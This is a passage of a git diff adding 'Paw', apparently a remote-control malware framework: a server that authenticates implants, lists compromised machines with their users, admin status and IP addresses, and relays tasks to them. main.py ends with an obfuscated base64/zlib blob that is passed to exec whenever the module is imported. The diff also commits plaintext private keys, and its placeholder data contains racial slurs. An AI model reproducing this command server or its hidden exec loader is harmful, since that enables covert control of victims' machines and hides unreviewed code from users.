XppajB6NnplMU5jM24yeGhUMERtd3F0cjNpa1k4ZDFxcU0wSGJNRXVodnduaEZlSkpsV1YvRS8wNzkKcStPWFkwZ2VUdEVhMFFxLzdhU09Lb3czUG1wR1Bqbi9TMjM5RWJ1TkNUSS9wTU14QWxGVDl2dE4xYnRiUm5kOApBOHdoUHp6K0VDblBCMkgwNUo3Um5rVFFLSnZtM2lCazU1U0M0NWxsZWt6Yy9zQTBiemZFMHNiSzVkUDJsTklYCkduVFdVN0dzamF6bkV4UU4zM2RXY2hZbUhSa09wY0xkZmJ6ZE9YTmxDZWR1NW80a1VRR2xpQzNLbEE0ckgvdVQKWU5CaEFURlMzbzRLcXBjWEpkSURncGJNb2tJOExJMVBXcWpPbHZub0JkR2l6ak1QVnFmdSsyZkFPVGp1MVB4QQp4aWtDZ2dFQUc0R2VlRDdxWVBuYU81OUNmYXozZjQ3MDI3RExMNnFjbk55OE5yV1VIaW5raGVwYy9wNTI1R05zCkFyWElLNkFCVG1VTXdaZE8xZXRaaVJVVHFHL0dIY0w5SllFWFdHTEZ0RGJRREgzaDNVMGNQRHJHYTI5Z3ZIdE8KcTBBb01NNW1xUXkydUVlVzBmSlNGcUEzN2VTTitiQ3dhMndqd0hyUVFBZUE3NnZsTEJ3RW5HRjcxVkdNb3pDRwptR294anJzNkxicmQzYmVScXZkckZUalJZcmZWaVc2c094Q3ZXNGQwTUtyMlI4bHg2TkpzMzA0RG5zTi81TGgwCjFCTzc2eWx0VHVoL1FHQ2thOG1lYzNpdlh3NU9NSy9NSk5MUGxDOVduS1I3d1VMQXpFeHcvQWtOZnBCMFlCR3MKc1crS0xCMnVGd2N3UVllaW9Uc3piSG9wRElZWmdRPT0KLS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQo=" +} \ No newline at end of file diff --git a/components/server/main.py b/components/server/main.py new file mode 100644 index 0000000..198fcfe --- /dev/null +++ b/components/server/main.py @@ -0,0 +1,251 @@ +import socket +import json +import os +import logging +import threading +from base64 import b64decode, b64encode +from cryptography.hazmat.primitives.asymmetric import rsa, padding +from cryptography.hazmat.primitives import serialization +from pystyle import Colors # just for me to see the keys better, not neccessary in actual production + + +__name__ = 'Paw' +__version__ = '1.0.0' +__authors__ = 'sw' + + +class PawSocket: + def __init__(self): + self.agents = list() + self.aagents = list() + + self.root_dir = os.path.dirname(os.path.abspath(__file__)) + + logging.basicConfig( + level=logging.DEBUG, + filename=os.path.join(self.root_dir, 'cats.log'), + filemode='a', + format='[%(filename)s:%(lineno)d] - %(asctime)s - %(levelname)s - %(message)s' + ) + + self.logger = logging.getLogger(__name__) + + self.configuration_file = os.path.join(self.root_dir, 'configuration.json') + + if not os.path.exists(self.configuration_file): + with open(self.configuration_file, 'w') as file: + file.write('{}') + + with open(self.configuration_file, 'r+') as file: + try: + self.configuration = json.load(file) + except json.JSONDecodeError: + self.configuration = {} + + self.host = self.configuration.get('host', '127.0.0.1') + self.port = int(self.configuration.get('port', '42720')) + + def save_configuration(self) -> None: + self.logger.debug('Entered save_configuration func') + + with open(self.configuration_file, 'w') as file: + json.dump(self.configuration, file, indent=2) + + def update_configuration(self, key: str, value: str) -> None: + self.logger.debug('Entered update_configuration func with args: {}, {}'.format(key, value)) + + self.configuration[key] = value + + self.save_configuration() + + def generate_rsa_key_pair(self) -> bytes: + self.logger.debug('Entered generate_rsa_key_pair func') + + private_key = rsa.generate_private_key( + public_exponent=65537, + key_size=4096, + ) + public_key = private_key.public_key() + + private_key_pem = private_key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.PKCS8, + encryption_algorithm=serialization.NoEncryption() + ) + + public_key_pem = public_key.public_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PublicFormat.SubjectPublicKeyInfo + ) + + return private_key_pem, public_key_pem + + def get_keys(self, serialize: bool = False) -> list: + self.logger.debug('Entered get_keys func with args: {}'.format(serialize)) + + if serialize: + keys = { + 'serverpub': serialization.load_pem_public_key(b64decode(self.configuration.get('server_pub_key', '').encode('utf-8'))), + 'serverpriv': serialization.load_pem_private_key(b64decode(self.configuration.get('server_priv_key', '').encode('utf-8')), password=None), + 'implantpub': serialization.load_pem_public_key(b64decode(self.configuration.get('implant_pub_key', '').encode('utf-8'))), + 'implantpriv': serialization.load_pem_private_key(b64decode(self.configuration.get('implant_priv_key', '').encode('utf-8')), password=None), + 'clientpub': serialization.load_pem_public_key(b64decode(self.configuration.get('client_pub_key', '').encode('utf-8'))), + 'clientpriv': serialization.load_pem_private_key(b64decode(self.configuration.get('client_priv_key', '').encode('utf-8')), password=None), + } + else: + keys = { + 'serverpub': b64decode(self.configuration.get('server_pub_key', '').encode('utf-8')), + 'serverpriv': b64decode(self.configuration.get('server_priv_key', '').encode('utf-8')), + 'implantpub': b64decode(self.configuration.get('implant_pub_key', '').encode('utf-8')), + 'implantpriv': b64decode(self.configuration.get('implant_priv_key', '').encode('utf-8')), + 'clientpub': b64decode(self.configuration.get('client_pub_key', '').encode('utf-8')), + 'clientpriv': b64decode(self.configuration.get('client_priv_key', '').encode('utf-8')), + } + + return keys + + def handle_conn(self, conn: socket, addr: socket) -> None: + self.logger.debug('Entered handle_conn func with args: {}, {}'.format(conn, addr)) + + print('Connection from {}'.format(addr)) + try: + received_public_key = conn.recv(4096) + self.logger.debug(received_public_key) + if received_public_key == self.serialized_keys['clientpub'].public_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PublicFormat.SubjectPublicKeyInfo + ): + print('Authenticated client from {}'.format(addr)) + self.handle_client(conn) + elif received_public_key == self.serialized_keys['implantpub'].public_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PublicFormat.SubjectPublicKeyInfo + ): + print('Authenticated implant from {}'.format(addr)) + + self.handle_implant(conn, addr) + else: + print('Authentication failed.') + conn.close() + + except Exception as error: + print('Error: {}'.format(error)) + conn.close() + + def handle_client(self, conn: socket) -> None: + self.logger.debug('Entered handle_client func with args: {}'.format(conn)) + + while True: + encrypted_data = conn.recv(8192) + if not encrypted_data: + break + decrypted_message = self.serialized_keys['serverpriv'].decrypt( + encrypted_data, + padding.PKCS1v15() + ) + + if decrypted_message.decode('utf-8') == 'recv agents': + self.logger.info('Received request to send back agents from {}'.format(conn)) + print('Received agents show request, sending back...') + encrypted_message = self.serialized_keys['clientpub'].encrypt( + str(self.aagents).encode('utf-8'), + padding.PKCS1v15() + ) + + conn.sendall(encrypted_message) + else: + agent_id, task = decrypted_message.decode('utf-8').split(':', 1) + for agent in self.agents: + if agent['id'] == agent_id: + print('Redirecting task {} to implant {}', task, agent_id) + agent_conn = socket(self.agents['so']) + + encrypted_task = self.serialized_keys['implantpub'].encrypt( + task.encode('utf-8'), + padding.PKCS1v15() + ) + agent_conn.sendall(encrypted_task) + self.logger.info('Redirected task {} to implant {}', task, agent_id) + else: + print('Implant {} not found.'.format(agent_id)) + self.logger.error('Implant {} not found.'.format(agent_id)) + + def handle_implant(self, conn: socket, addr: socket) -> None: + try: + #encrypted_data = conn.recv(4096) + + #print(encrypted_data) + + #decrypted_data = self.serialized_keys['implantpriv'].decrypt( + # encrypted_data, + # padding.PKCS1v15() + #) + #print(encrypted_data) + + #dat = json.loads(decrypted_data) + + #print(dat) + + #self.agents.append({'id': conn.fileno(), 'so': conn, 'username': dat['user']}) + dat: tuple = {"host": "test", "user": "nigga", 'os': "win 10", 'proc': "sob", 'uac': False, 'ipv4loc': "niggas ballsack", 'ipv4pub': "127.0.0.1"} + + self.agents.append({'id': conn.fileno(), 'so': conn}) + self.aagents.append({'Agent ID': conn.fileno(), 'Username': dat['user'], 'Operating System': dat['os'], 'Process': dat['proc'], 'Administrator': dat['uac'], 'IPv4 Local': dat['ipv4loc'], 'IPv4 Public': dat['ipv4pub']}) + + self.logger.debug(self.aagents) + + self.logger.debug(self.agents) + except Exception as error: + print('Implant handler error: {}', error) + self.logger.error('Implant handler error: {}', error) + + def Main(self) -> None: + print('Checking for keys...') + self.logger.info('Checking for keys...') + + self.keys = self.get_keys() + + if any(value.decode('utf-8') == '' for value in self.keys.values()): + print('Keys not found. Generating keys...') + self.logger.warning('Keys not found. Generating keys...') + + server_private_key, server_public_key = self.generate_rsa_key_pair() + implant_private_key, implant_public_key = self.generate_rsa_key_pair() + client_private_key, client_public_key = self.generate_rsa_key_pair() + + self.update_configuration('server_pub_key', b64encode(server_public_key).decode('utf-8')) + self.update_configuration('server_priv_key', b64encode(server_private_key).decode('utf-8')) + self.update_configuration('client_pub_key', b64encode(client_public_key).decode('utf-8')) + self.update_configuration('client_priv_key', b64encode(client_private_key).decode('utf-8')) + self.update_configuration('implant_pub_key', b64encode(implant_public_key).decode('utf-8')) + self.update_configuration('implant_priv_key', b64encode(implant_private_key).decode('utf-8')) + + self.keys = self.get_keys() + + self.serialized_keys = self.get_keys(serialize=True) + + print(Colors.red + 'Server public key:{} {}'.format(Colors.reset, b64encode(self.keys['serverpub']).decode('utf-8'))) + self.logger.warn('Server public key: {}'.format(b64encode(self.keys['serverpub']).decode('utf-8'))) + print(Colors.red + 'Client private key:{} {}'.format(Colors.reset, b64encode(self.keys['clientpriv']).decode('utf-8'))) + self.logger.warn('Client private key: {}'.format(b64encode(self.keys['clientpriv']).decode('utf-8'))) + print(Colors.red + 'Implant private key:{} {}'.format(Colors.reset, b64encode(self.keys['implantpriv']).decode('utf-8'))) + self.logger.warn('Implant private key: {}'.format(b64encode(self.keys['implantpriv']).decode('utf-8'))) + print(Colors.red + 'Implant public key:{} {}'.format(Colors.reset, b64encode(self.keys['implantpub']).decode('utf-8'))) + self.logger.warn('Implant public key: {}'.format(b64encode(self.keys['implantpub']).decode('utf-8'))) + + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket: + server_socket.bind((self.host, self.port)) + server_socket.listen() + print('Server running on {}:{}'.format(self.host, self.port)) + self.logger.debug('Server listening on {}:{}'.format(self.host, self.port)) + + while True: + conn, addr = server_socket.accept() + thread = threading.Thread(target=self.handle_conn, args=(conn, addr)) + thread.start() + + +if __name__ == b64decode('UGF3').decode('utf-8'): + PawSocket().Main() +else: + _ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'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')) \ No newline at end of file diff --git a/components/server/requirements.txt b/components/server/requirements.txt new file mode 100644 index 0000000..d8a8f68 --- /dev/null +++ b/components/server/requirements.txt @@ -0,0 +1,2 @@ +cryptography +#pystyle \ No newline at end of file diff --git a/configuration.json b/configuration.json new file mode 100644 index 0000000..947ebef --- /dev/null +++ b/configuration.json @@ -0,0 +1,7 @@ +{ + "wipe": "dyt4y7fhv8ump77i", + "socket": "127.0.0.1:42720", + "auto_listener": "true", + "server_pubkey": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQ0lqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FnOEFNSUlDQ2dLQ0FnRUF2ZnRzRzZTZFN3SW4rNk1hcXAvWAp3Snl6VGNML1pwRlBzMWFRZ3NUVkhpOHZVNGNSY1UzYURJVElRYWowcGdKQlg0cmNzbTg1MDRDcks1cWZ3bHovCkxSNGdvbGpTdXl2R1FOUW1aaFRtaWw0T3JDSTB0d3RMTkRYalZkVTI0U01jU05Na1IrRVZYS0xtSHJ3SFN6NUIKUE0wQTRmM3U5U2Y5emsyTjJ3T0I5UG1GMlh4NGF0WWJLRXVCYnU3d2RDUUxhSzh3RnQ0T1luOHpBL1Q1WjZqdQpHbVJia1V4NVd4TVBrMDBPOHUxV1pTVEtDYWJKWTJ5NncyM1VQa0QxZzM3UWViYW9VY29IUnR2d3F3c21zaU5UClRYdDh0YmF6ZG5peUdlYlFWbVVGM3c4ZnlaaVRvOGRyOGpYNWNHNkVyWjJkZ2RHb0FJUk5mSGpVVkZyRlJ6akEKOGRzM3FEMUU0bVAwZGM3MEgvcU9Ra1crRkYyaDJMK2FONXFOYms1czFzTjgxejhwaGVFNGFrMHFOdTE1bUVIcgpmWC93SUpXck1RVTNJSVZ1R2FoTXUzSHBXWXc3T0J2TlI4ZE96ZGZ1OVBBU2hLL0h4ZTU3OXRQZ3g2MktKU1VuCmNUNThZV3NFVHNaNU5QM1FWY3BLay9SNzRYMnVReFVXQUtCVWtwSjI4dTA5amVVT3JtU2M2VDVrd1k3SGFHcE8KZzlhVFM3RXlLQkM4T01TTFlvWmhYNmtzUUtKZGNjam40M0ZBSFkrem9meGowcWV5b05yQXBMbHdIVU9pbVRhSAp1OVBDYXp5bjltMVhsMzNhZ2J1N21kTGNIU2FtOFdNak1QTjFoQTRXU1plcC9BZDM5YzNEamUwWFhjUjlkdWV0CnIydEtXTGNWVTExa0lXUGFtRnVncmdFQ0F3RUFBUT09Ci0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo=", + "client_privkey": "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUpRZ0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQ1N3d2dna29BZ0VBQW9JQ0FRQzRHVHpJM3YwUlByUGIKZ3BXQmR4WDhXWEhDUEdmN1BWbEFQbFJGd3h0aDB4bmhTVVFTcDlJRDFrZ0Uva29GdGlSdU52cWN5UUtFQ0xRUQpLUWIvbWdSbDZpa1RMdFBDV0tWSXh5WXlSYjVLMXhFZkVWcGwvdVA1dnlNWmRDVkdJd3h3WDY0N0ZDT1hqTFJjCmRJZnBqbFdxTVJnT29SRUZOYnJhNHZyQ0dGSW1YN0NTKzgrZHdJRTZRVUlRb0hXTW8xb0trbThHRDIwTzBzU3MKbW5qVlVYakdTRnc3c2pZeHIxVjZWS053dlI3VGI5NGV1d3kwbE5iVGVsb3dFa3E0a3lHc0ZYOFB4d1F6QTlMYgpjSFhiWHFOS3orTFcrbTQ0YXIvVEZXNnFuY0x0ditwK3ArUnAyZ3k5VVIwWFhXSWNwVzRqejkvUXJGNS9rM3B5CmhUUktBcDRFT3owVTlnNGJqVjZaOHp3QnpFNk54YlNWdjJnK3M5cFNqdVVxN1hMbnZ1M3prcXJobTV6VWtZMUMKd0ZJdmcyYjNuS3FKVXVrY2FQcEpCbm1GbVpjbGI4cGlPeStQWGR0WUJrVjZLak1zVnI2THovT04zcDNsSm4rRwpvbyt6ZHphbm1DeFRraDI3WjlvMmZoU2d2cnJydmZhRmsreW5XenR2cDVzU1N5TloyL3ZRZHdjc1k0b29aYjl2Cm1OS3B6NnZUS0J5aERJKzNpMnVoalFSS0ZxTkFCVStVRUdqc2hSc3BQZ2JIWUtUck45dzcySXAxOUh1bVVVRFgKUzBOdkx3WE9iODgzeTkrY0hTcUloT3FqbnZtYS9VSnRHcmwxcldSY0RjS3EwQWJGSDNrR0cxTUdSbWJuS01TaQpCNXV5aFlvSG1PZ0N1Z2FlSXhpZjBVMzVkZ3lDa3dJREFRQUJBb0lDQUE1VW5KZ3dUM2UvcjBWM2tVYStLOTUwCllmZ1NOcS9tY3lPZWxuWEZ2Y1JzSjlnVEdYTHdVRmRQSDFVUUxGZnNlVUtCRWhvUlJacGNpUk8yOWQ0QXNiWHoKTjlaUDcxanlDSSsxUE9KdDdtV3AveUd4ZXAxMDdXOGI4MUlBYWdSZkp4RTZTWGc4MVpadTgvMDhidlg5eCtwVApId0hJaE9nb2FnNnUyNEV2WG5teE9pLyszUWIxSExvWnFWaGMvVG1BMzdueDh5V0FIdWVuL1hwSUhmN1E5RHRQCkY2cm44UE1HS0h1NHllNDFNb2lYN1N6c040MTVCbzM0dUx1RU9QL01LRE5haXdVQjQzQkxMR2M3aGxrWXNWSmEKQTFqanJwL0NvNEw5YUp0c1kyZVphRm9Lbkt1bXR4WW5rY0duV2NOTUYxby9UTGRVSzVqM3RIRGtzSkRRU2xkOQpMS3F2emc5K1RHd01Xa2dUbzZjdkYyMHQxU1ZZZGw0WExpVEVVZSsrMjhEQmJSYWVJakVxdU5RcXdqY1hHeWE5CisvQjNVblZPZUxCa0MrREJXMUdmT2xYWVh5Wkk2VHlwVE5oV1kyL0lwS0VObmdpSHBpcU1MU2JoRzBXWHRTY3cKclhwOUFjam5JOWFaMmpBWmVmMk9kdFAydnpCd1NzVmVJcURnZHI0Z3FkRWh3YTBNZ2JkSHNkd2hxNXFSNmpTMwpJQlNrOVFXK28xNVZncW9HUzJRbGJRemY1eEVaS2NrVnhQR1l6UEF5aXBBb052VEl3Z0RpeXhnZnlic2R2TE1XClBEcjFiQ1h3YzErMFk3NXdOVGtTS0crZXdLNXowc2xHTHRyTjRKRmVPUEU5ZkUyUnRkMFl3eDlXaTFkbTRyUCsKYzF4bDRyZ3BpaFgvSmJJNlpuaWxBb0lCQVFEZDBPc3htcjlsVU1mMkpucjFNaFljdzZEUVVjbWJlVXNEeE45NgpBTTNjTVlIM0xBTk5CZTNnMGl4cHhJem1ib3pWZ1ZVdGZKWWE4dGdtM0NtWm1YTUY0d1RoQ3dkWHdyM3BxSWUxClRqNjRHZlN3UHV0TlBDSkc3ZWY5L0pBZENMWkI1Ym9FbS8yak94NFBpN00vNWUvVUJBNDZubjhUVG5NKzRncG0KZjNtdU9TY3I2bWRrZ2hxSWlUcTh3cTg5VEhXdnNiVnhzSktMaW9EOUhYMEtjVDFqN1luWmtsMXNVVG1ScGwrNwpDQXNDQ3FPUHVTTXpZRnFtMXh4TGpsTWlpcDJ3M29pZVgxRHhDc1JlZXJybXN0SDNCTFNVdDZreVZJblB6TElwCno1UFpCRzF2SXB4Q25GTGkwWmg5b25iVkVhcTJCQzM0Mm5pY0JNY1h4WjFTajBMRkFvSUJBUURVZUVuMXlxS3IKRk9kTlNFbm1KM0RmaUhETEpEK1NTS250aFJ5Vlc2cXh0WU5XWjFzeWVPMkU4cVMva0ViOXRUVHpvempab1B1VgpBc0dBeUptOGZsQU9Vek5kZEhaYllNOHRPUWQ0aXpJRFNUTkdsMzlVMm5abnBvcmlNSmphVkltTG9wbFQ0b3VxCmNKY2hTcFJ3d0doMVZPQVpQYjBlcEIxYm1iMy9HdE52K2pqb25iaGR6NGtkS1NzRnhzQ1BySW1XbGowRnN3Wm4KN0xoeEkvaGhtN0h5c1NLNjZ4VkZKNm1YcG5iM0Rpa0dPOWdHbjNGdDhSWDdXMEhkOThGU2taU0NkSzB3R3U4dgpYc0xWQzY0MStQMStzM1VSLzI0UWR2Yk0rSnRBRFllWS9QZExDVEhXRGU2a3V4cnJIWmVjTVErc3M1QnlCOWFICmZkcFJuMS9TZGlWM0FvSUJBQ1dQRDVRSnFPamw0Y1g3UkF5cW0zWHBaaHlBRE13bm9KMFZ3K1ZycDIvbWJpUkYKTHBYbk1CMUdXVURiaUNRb2llNUpCUHc3d1VyMDNjYk90cmlNZEI2R0R6aHYzcUZzbHkydVhMUkZlSGRCNWQzRgorWi9OVTl5QXdpeU9qSFJ1R2paVVNNZ3BCYXlUQVFjTzE1NDFPQVBGWUFkcStRZHkzQzdFcFpBdmU1SVZtVjFsClJuYU5WU0xUWWIrK2sxK2t4N1NsT1p6emtnelF1Z0NoOHA5SEIyY1pQS003bGxnVjlOS0Z3bVh2K2JVeHlmbzMKRmcvSCsvR09NUHRXTVJ1REx5cFlzL2RsR2xhR1JUUGVRakY0Qy9kd3M0Y1BCalpBZkVsVVZzS2ZwR0ExMExYbAp2V0hHQ0g3aGtKbU5YZU84SnhURTVtZmh6bFJVdHNWK3I2SGdJaVVDZ2dFQWJCSlBWR1Zndm5LZ2dFL1B2dkM2CjJnaDFqdTUrSTNNd2MrOHNMZEIxajNUTFBFelFOMmtKTDRHWVNSUWk5L09PM29wY1pWNGIrWnh3UG9oS29uVUIKVlhmK2ZYKzZvQm9xNTA3RnZRdllRWkdmTWozbTk0c3poTjlTYjJEV3J0OG5JMDV1ZlJ1VGZQdE45QklTVlJPWgpUbTBBbS9ZcVZ3YVZKRDJjUmNFb1lTRytocHVLNXJTa2dwK3BFWVFaK0RxRHRZUHZ3QkZpcGNQandURFJxeHhkCnRCdGpsZjN6VUx5dTU4TTFhYzdiRVIrcGJ4ejB2ajVOdHcrZy9qMkNLUFNCdktXS1hoaWxKc3dsZitZMEU2SDEKbHRmREtZZHFQWmUxUzJiODJPVEkzd2wwNDhibWdZR09yRjI3Z0hJSjV0bVJwbitqYmswTVV0aXlEcWhwUGd6NApXd0tDQVFFQW1TK1RVK2twdC9oaEhqT3lwSzY2RW9VdVdFd2pHakJReG9PcGV1Wk5OSmI3bkdRejV1SXg5KytnCjBlUVdJME5CSkIyWURnV2xFV1FSVUczMTkremw0YUFMclQ5Y2NlNElraEZSaVNPN3F1c2o4VXFtdWNoSnpRY28KeEZSMzZFUmE3OWg1aDFoYkNFcGcway8yamJJdDllRng1YXFzeGc0d1NqcG1EMFdQcS91ZlBYaW1MeG8xRTFpQQowNmdySDJGczlPWXZ3VDFuM3I0cW9LK0hHNVU0dndvbkY2Tk44ZHNCUk9jU1Q0SVlvdVhnTG5WbEtOMCtvdVRFCkhzVGUyaUpaUXVteGJxL1k3cGtrdm9NSU1NMU9CZWVMeEdaWmtvYTlLUTN0NnVRZXNZRFU1MkZzL0UwRFVrUSsKM0JHM3pPeTJzZWRjTWVTdkNQbDkwOHdVQkQzMlJRPT0KLS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQo=" +} \ No newline at end of file diff --git a/install.bat b/install.bat new file mode 100644 index 0000000..e69de29 diff --git a/paw.py b/paw.py new file mode 100644 index 0000000..f125e9f --- /dev/null +++ b/paw.py @@ -0,0 +1,433 @@ +import ctypes +import asyncio +import os +import logging +import random +import json +import socket +import string +import sys +import threading +import time +from tabulate import tabulate +from cryptography.hazmat.primitives.asymmetric import rsa, padding +from cryptography.hazmat.primitives import serialization +from pystyle import Colors, Center, Box +from base64 import b64decode + + +__name__ = 'Paw' +__version__ = '1.0.0' +__authors__ = 'sw' + + +class Paw: + def __init__(self) -> None: + try: + self.root_dir = os.path.dirname(os.path.abspath(__file__)) + self.banner = ''' + + + |\ _,,,---,,_ + /,`.-'`' -. ;-;;,_ + |,4- ) )-,_..;\ ( `'-' + '---''(_/--' 